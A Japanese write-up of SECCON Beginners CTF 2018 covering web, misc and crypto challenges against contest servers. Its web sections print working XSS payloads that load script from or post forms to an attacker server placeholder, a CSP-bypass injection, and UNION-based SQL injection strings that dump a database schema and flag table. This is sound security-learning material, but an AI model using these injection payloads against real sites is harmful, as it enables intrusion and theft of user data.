実質公式 Write-up はこちら
SECCON Beginners CTF 2018 Write-up - Qiita
4r@r3㌠ というチームで個人参戦しました。忘れないうちに Write-up をメモしておきます。ちなみにバイナリは全くわかりません。
■ Web: [Warmup] Greeting
管理者である admin のみが Flag を見ることができるページ。
Cookie から $username
の値を設定しているので、 Cookie の name
の値を admin
にするだけ
■ Web: Gimme your comment
問い合わせ?の投稿と、それに対してコメントができるWebサービス。 投稿すると向こうの管理者(?)から「投稿ありがとうございます。大変参考になりました。」という回答が来て、その際に用いられるブラウザの UserAgent を求めるという問題。
投稿のタイトルとコメントは XSS できないが、投稿の本文が特にサニタイズされていないため XSS 可能。 例えば、以下のような本文で投稿すると、自分のサイトに対してリクエストを飛ばすことができる。
<script src="[Your Server]"></script>
■ Web: SECCON Goods
SECCON グッズの在庫状況がわかるサイト。
Vue.js が使われており、 init.js
を見ると /items.php?minstock=0
にアクセスしているのがわかる。
/items.php?minstock=100
とすると 1 件も返ってこないが、 /items.php?minstock=100 or 1=1;--
とすると全件返ってくるため、SQLi できることがわかる。
あとは 普通に UNION を使って SQLi するだけ。
/items.php?minstock=100 union select table_schema, table_name, column_name, 1, 1 from INFORMATION_SCHEMA.COLUMNS;--
INFORMATION_SCHEMA から flag がありそうなテーブルを見つける。
[ ..., { "id": "app", "name": "flag", "description": "flag", "price": "1", "stock": "1" }, ... ]
flag の取得
/items.php?minstock=0 union select flag, 1, 1, 1, 1 from flag;--
■ Web: Gimme your comment REVENGE
Gimme your comment と同じサイトで、フラグの取得条件も同じ。 ただし、 Contents Security Policy(CSP) が設定されているため、インラインの JavaScript を実行したり、外部オリジンからリソースを読み込むことができない。
かなり悩んだが、 worker の JavaScript のコードを読んでいたら 投稿すると向こうの管理者(?)から「投稿ありがとうございます。大変参考になりました。」というコメントが来る ことを思い出し、以下の本文でいけることに気づいた。
</form> <form method="post" action="[Your Server]">
これなら CSP を回避しながら外部オリジンにリクエストを送ることができる。
Gimme your comment を解いている時は、コメント機能の存在意義や、なぜセッションハイジャックではなく UserAgent でいいのか疑問だったが、これで納得した。
■ Misc: [Warmup] plain mail
問題ファイルを Wireshark で開き、 Follow TCP Stream で眺めながら、Zip ファイルとそのパスワードを取得ししておしまい。
■ Misc: [Warmup] Welcome
問題文
フラグは公式IRCチャンネルのトピックにあります。
■ Misc: てけいさんえくすとりーむず
手計算と書いてあるがもちろん自動でやらせる。
import time import socket HOST = 'tekeisan-ekusutoriim.chall.beginners.seccon.jp' PORT = 8690 def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip,remoteport)) return s, s.makefile('rw', bufsize=0) def read_until(f, delim='\n'): start_time = time.time() data = '' while not data.endswith(delim): data += f.read(1) if time.time() - start_time > 3: break return data def main(): print 'nc %s %s' % (HOST, PORT) s, f = sock(HOST, PORT) # Skip initial data for i in range(11): result = read_until(f) print result.strip() for i in range(100): result = read_until(f) print result.strip() result = read_until(f, '=') response = str(eval(result[:-1])) s.send(response + '\n') print result.strip() + response while True: result = read_until(f) if not result: break print result.strip() print 'finish.' if __name__ == '__main__': main()
■ Misc: Find the messages
ディスクイメージが渡されて、その中に隠されたメッセージを探す問題。
とりあえずマウントしてみる。
$ sudo fdisk -l -u disk.img Disk disk.img: 67 MB, 67108864 bytes 41 heads, 32 sectors/track, 99 cylinders, total 131072 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0xad4d4cf0 Device Boot Start End Blocks Id System disk.img1 2048 131071 64512 83 Linux $ sudo mount -o loop,offset=$((2048*512)) disk.img /mnt $ sudo ls -lhR /mnt .: total 15K drwx------ 2 root root 12K 4月 28 02:03 lost+found drwxr-xr-x 2 root root 1.0K 4月 28 02:03 message1 drwxr-xr-x 2 root root 1.0K 4月 28 02:03 message2 drwxr-xr-x 2 root root 1.0K 4月 28 02:05 message3 ./lost+found: total 0 ./message1: total 1.0K -rw-r--r-- 1 root root 24 4月 28 02:03 message_1_of_3.txt ./message2: total 15M -rw-r--r-- 1 root root 15M 4月 28 02:03 message_2_of_3.png ./message3: total 0
マウントすると3つのディレクトリが見える。
message1/
message2/
message3/
- ファイルがないため、修復する必要があると予想
$ fls -r -o 2048 disk.img d/d 11: lost+found d/d 12: message1 + r/r 13: message_1_of_3.txt d/d 2017: message2 + r/r 14: message_2_of_3.png d/d 2018: message3 + r/r * 15: message_3_of_3.pdf d/d 16129: $OrphanFiles $ icat -o 2048 disk.img 15 > message_3_of_3.pdf
これで復元できると思ったのだが、できなかったため binwalk
を用いた。
$ binwalk disk.img DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 1048576 0x100000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 9437184 0x900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 9700352 0x940400 PDF document, version: "1.3" 11535548 0xB004BC Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns# 17829888 0x1101000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 26214400 0x1900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 42991616 0x2900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 59768832 0x3900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd $ binwalk --dd='pdf:message_3_of_3.pdf' disk.img
■ Crypto: [Warmup] Veni, vidi, vici
Zip ファイルが渡され、解凍すると 3 つのファイルが出てくる。 1つは ROT13、もう1つはシーザー暗号、最後の1つはアルファベットを上下反転させたもの。
■ Crypto: RSA is Power
RSA の公開鍵の情報が与えられ、暗号文を復号する問題。
RSA は n
が素因数分解できれば復号可能なので、おもむろに FactorDB に突っ込んだところ素因数分解してくれた。
あとはやるだけ。
■ Crypto: Streaming
暗号化のスクリプトと暗号文が渡されて復号する問題。
暗号自体は XOR 暗号に seed がついてるだけ。しかも seed は mod 34607
したものなので、総当たりでできる。
class Stream: A = 37423 B = 61781 C = 34607 def __init__(self, seed): self.seed = seed % self.C def __iter__(self): return self def next(self): self.seed = (self.A * self.seed + self.B) % self.C return self.seed encrypted = '' with open('encrypted', 'rb') as f: while True: value = f.read(1) if value == '': break encrypted += value candidate = [] for seed in range(34607): g = Stream(seed) a = ord(encrypted[1]) * 256 + ord(encrypted[0]) # Check flag starts with 'ct'. Because flag format is 'ctf4b{...}'. if a ^ g.next() == int('ct'.encode('hex'), 16): candidate.append(seed) for seed in candidate: try: flag = '' g = Stream(seed) for i in range(0, len(encrypted), 2): a = ord(encrypted[i+1]) * 256 + ord(encrypted[i]) flag += hex(a ^ g.next())[2:].decode('hex') print flag except: pass